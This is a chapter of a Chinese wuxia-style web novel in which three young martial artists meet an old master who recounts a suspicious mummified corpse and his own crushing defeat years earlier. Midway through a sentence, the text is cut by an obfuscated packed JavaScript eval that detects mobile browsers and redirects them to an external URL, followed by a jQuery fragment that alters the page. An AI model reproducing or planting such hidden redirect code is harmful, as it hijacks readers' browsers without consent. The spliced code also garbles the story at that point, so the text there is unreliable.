19.故人剑
作品:《漫画配角的不平凡日常》 “刚刚怎么停下了?”老人问道。
洛三秋答:“前辈您对我没有杀意,所以就停下了,还要多谢前辈手下留情。”
老人咧嘴:“你倒是有眼力见,比你那同伴好上不少,武功也还算不错,在你们这代年轻人里,应该称得上顶尖了吧?”
洛三秋谦虚道:“在下武学稀松,实在称不上顶尖,比不得前辈的赫赫威名。”
“哦?赫赫威名?你很了解吗,那你知道老头子我叫什么吗?”
洛三秋嘴角抽了抽,在老人的注视下渐渐心虚地移开了视线,看天看地就是不敢对上前辈的视线。
老人见状,背手沧桑道:“也是,一个退出江湖的老头子,也没什么人会想认识了,已经被当今的江湖抛下了啊。”
“您的时代可从没过去过,大名鼎鼎的绕指柔来墨池,也就他们两个不知道哪个山沟沟里出来的野人会不知道了。”方野鹤带笑的声音从上方传了下来,她正顺着刚形成的台阶下来。
洛三秋往上看去,目光中带着谴责。
方野鹤双手挡住了他的视线。
“可别这么看我,是前辈说要看看你们真实的反应,再考虑考虑要不要把消息告诉你们,我也只是奉命行事。”
洛三秋将这话一抿,发现了漏洞:“你是怎么跟前辈搭上线的?”
方野鹤尴尬地干笑两声。
来墨池冷笑道:“她是偷摸溜进来找情报,结果被我抓了个现行的。现在你们这些小的,真是愈发无法无天起来了。”
方野鹤:“您消消气,为了弥补我的罪过,这不是把他们俩带来了吗?”
顿时是火上浇油,想到被打通的那数个墙壁,来墨池悲愤地痛斥道:“你们三个,偷情报的偷情报,拆墙的拆墙,没一个好东西!”
洛三秋连忙顺毛:“来前辈,我们这也是被吓到了,一时情急才这么做的。破坏的这些地方,之后肯定给您补上。”
来墨池捋了捋胡须,哼了一声,算是认同了他的处理方法。
“也是,你们挽灯阁都是这种风格,不该看你们年轻就疏忽了的。”
“我们挽灯阁?”洛三秋茫然地看了眼挂在腰上的令牌,这身份是很好认,但什么叫挽灯阁的风格。
“你是新入阁的?”
洛三秋点头。
“难怪,还会把令牌挂身上,”老人笑了一声,“要知道,挽灯阁在江湖里可是独一档的存在,成员们我行我素惯了,除了完成任务,其余的一概不管。情绪上来了,把雇主干掉的事情这种业界大忌也是屡次三番。”
“要不是你们阁主每次时候都会带着足够的财宝上门赔罪,这个组织也存续不到现在。所以你们挽灯阁还有个别称——‘财神到’。”
江湖人不知挽灯阁与朝廷有牵扯,也不知道这些不顺的任务里,有多少是朝廷特地吩咐下来的,挽灯阁成员我行我素的名头,在这时候反而成了绝佳的掩饰。
不过能有这样的声名,成员们肯定是“功不可没”的,哪怕是他和谢七晴两个新加入的,身为现代人也肯定有些旁人所不敢的大胆在。可以说是散漫的阁主吸引来了绝不会循规蹈矩的武者们,才造就了现在的挽灯阁,也是一种双向奔赴了。
方野鹤接上了来墨池的话:“但是江湖人也一直有个未解之谜,你们为什么会听从阁主的话?难不成是有什么把柄在他手里?”
洛三秋垂眸浅笑,面上一派无辜:“怎么可能?只是阁主是个好人,所以听他的而已。”
方野鹤失望地收回了探究的目光,叹气道:“还以为你这个新加入的能有什么不一样的回答呢,结果还是这种回答。”
“那不就说明我说得是真的?”
方野鹤撇嘴:“你们挽灯阁跟统一了口风似的,这么多性格各异的人连一个不同的回答都没有,非常可疑啊。”
“行了,”来墨池一拍手,“挽灯阁和合欢宗,两只乌鸦一般黑,有什么好问的,你们的另一个同伴到现在都还没出现,不着急吗?”
“前辈多给他加些磨砺,是他的福分。”
“前辈宅心仁厚,他在此地想必颇有进益。”
“你们两个啊...”来墨池啧啧两声,捋捋胡子,未尽之意尽在他嫌弃的神情中。
面上嫌弃归嫌弃,他的身体还是诚实地领了他们去见谢七晴,走在了前边。
看来是个喜欢被人夸的老前辈。
身后,方野鹤对洛三秋比了个口型:“你怎么说得出口的。”
洛三秋无声道:“你不也一样。”
“你们两个,别当在我后面,我就不知道你们在说小话了!”来墨池头也没回地喊道。
两人一激灵,麻溜地跟上了来墨池,弯弯绕绕地穿过了几个房间。
未见其人,先闻其声。
“老头!你有本事就把我放下来,咱们堂堂正正地决斗!输了我也服了!把我挂在这里是什么意思!你放我下来!放我下来!”
“行了,耳朵都要被你吵出茧子了。”来墨池推门进去。
“你...”谢七晴见他进来,正要发作,突然看见了跟进来的两人,突然就哑了火。
方野鹤看见了他的造型,毫不掩饰地哈哈大笑起来,一点面子都没给谢七晴留。
只见谢七晴被数根铁丝捆成了蝉蛹的形状,滑稽地挂在了天花板上,此刻他正带着希冀的目光看向洛三秋。
在他的视线中,洛三秋忍了又忍,最终还是用手指抵住唇边,侧过头笑出了声。
谢七晴瞪大眼睛,涨红了脸:“你笑什么啊!有什么好笑的!兄弟挂上面你还有闲心笑!还有你个耍诈的老头快给我放下来!这辈子的脸都因为你丢完...”
来墨池一个响指,谢七晴平稳地落了地,还未出口的话噎在了嘴里,说也不是,不说也不是,憋得慌。
来墨池掏掏耳朵,皱眉道:“真是吵得慌,你还想不想知道你问题的答案了?”
谢七晴闭嘴,给自己的嘴比了个拉上拉链的动作,再做了个请的手势。
来墨池轻嗤,倒也没有继续拿乔:“你们想问的那个宗主,我确实带走了他的尸体,但这里边的关窍,老头子到现在也还没想清楚也是事实。”
“那你,”谢七晴下意识地开口,随后在来墨池的视线斜过来时及时闭住了嘴。
来墨池娓娓道来:“老头子没法把肯定的结论告诉你们,但可以跟你们讲讲那几日的经过。”
“那天,老头子路过青月宗山脚,恰好听说这青月宗宗主表面与人为善,背地里却恶事做尽,门人跟着他,也是一个比一个的跋扈,山脚下不少人都被他们害得家破人亡。”
“上山一探的时候,却发现这人已经没了,是被活生生吸成了干尸,老头子好心帮忙收拾了尸体,反而被污蔑成了凶手。”
洛三秋揪出了重点:“干尸?”
“正是,连一滴血液都没剩下,只是一具骨架和一张人皮而已。现在想想,哪有这么巧的事情,老头子这回是被人坑上山顶锅了。”
来墨池说着,起身打开了侧面的门,“那尸首并没有被破坏,就存在这走廊尽头的房间里,你们想看的话就去看一眼吧。”
他点了谢七晴与方野鹤二人。
两人起身走向了侧门,谢七晴担忧地回头看了洛三秋一眼,洛三秋轻微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184142|195820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地摇头,示意他不用担心,于是谢七晴便同方野鹤一起进了走廊。
侧门合上,室内只剩下了洛三秋与来墨池二人。
来墨池抬起眼皮,问他:“知道老头子为什么特地把你留下吗?”
洛三秋摇头“不知。”
来墨池没有解开他的疑惑,转而挑起了另一个话题:“方才在黑暗中,你是如何寻到我的位置的?”
“前辈出了声,自然就寻到了。”
“这剑法,你是跟谁学的?”
“杂七杂八地看了些,自己琢磨的。”
“是吗?”来墨池有些浑浊的眼睛犀利起来,“但我怎么觉着你这剑法有点眼熟呢。”
洛三秋的冷汗刷得下来了,这前辈该不会是原主得罪过的人吧。
他睫毛轻颤:“天下剑道无数,总有点相似的。”
来墨池仔细地盯着他看了一会儿,在他漏出几分慌乱时,缓缓靠回了椅背上,眼中精光褪去,又变回了一个街边随处可见的老大爷。
洛三秋在心中松了口气,虽然不知道来墨池从他身上看出了什么,但表现得弱势一些总没错,当个普通的的年轻人就挺好。
来墨池神色莫名地摩挲着椅子的扶手,眼中流露出几分真切的怀念来:“还是老了啊,都疑神疑鬼起来了。”
他冲洛三秋招手,拍拍身边的椅子。
“来,坐这边,接下来就当陪老头子说说话吧。”
待洛三秋坐过来,他开口道:“老头子以前也称得上一句叱咤风云,只一件事,至今没敢同人说过,太丢人了。”
他自嘲一笑。
“还以为早就将这事看淡了,看了你那一剑后,才发现只是自欺欺人而已,真是白活了这么多岁数。”
“老头子年轻时算不上有天赋,四十时才勉强摸到了一流的门槛,但渐渐的,其他的武者都遇上了自己的坎,唯有老头子我一路顺风,慢慢的也就没了对手,连宗师都杀不了我。当时,旁人总说我离宗师就差这么一线,我自己也是这么觉着的。”
“直到了四年前,听说江湖里最该下地府的人来到了附近,我就兴冲冲地去了。”
“然后,我就见到了那个人。”
“那是个公子哥一样的年轻人,脸上的皮肉还紧实得很,能撑得起那身衣服。我那是也还不老,只有点皱纹,还有点自傲,见了人后就直接动了手。”
“只一剑,我就败了。”
“一剑啊。”
来墨池似笑非笑,似哭非哭,脸上的皱纹扭出点苍凉来。
“那一剑后,手上的线就全断了。那人从我身边走过,我甚至连动都不敢动一下,生怕自己的呼吸声大了。”
“后来想想,那双眼睛很干净,里面没有我。”
来墨池眼神空空的,虚虚地望着空中的一点,“他根本就没把我放在眼里,只是我怕了,我怕了啊。”
“每次想突破时,那一剑就像是梦魇一样缠上来,想遍了招式也找不出解法,挡不下,更是无处可躲!我跟他之间隔着的,是天堑。”
“后来啊,我想通了,不比了!老头子认了,这心魔,不破也罢。反正这辈子都比不上那人了,就做个鸡头也挺好的,才不去给他当凤尾,现在这小日子也挺舒服的。”
来墨池释然一笑,给这故事作了结尾。
室内陷入了沉默,出去的两人还没回来,来墨池也没了继续说下去的意思,只是继续摩挲着椅子的扶手。
洛三秋突兀地开口。
“前辈,您真得甘心吗?”
来墨池手上动作一顿,随后又恢复如常,并未抬头。
“认命了。”

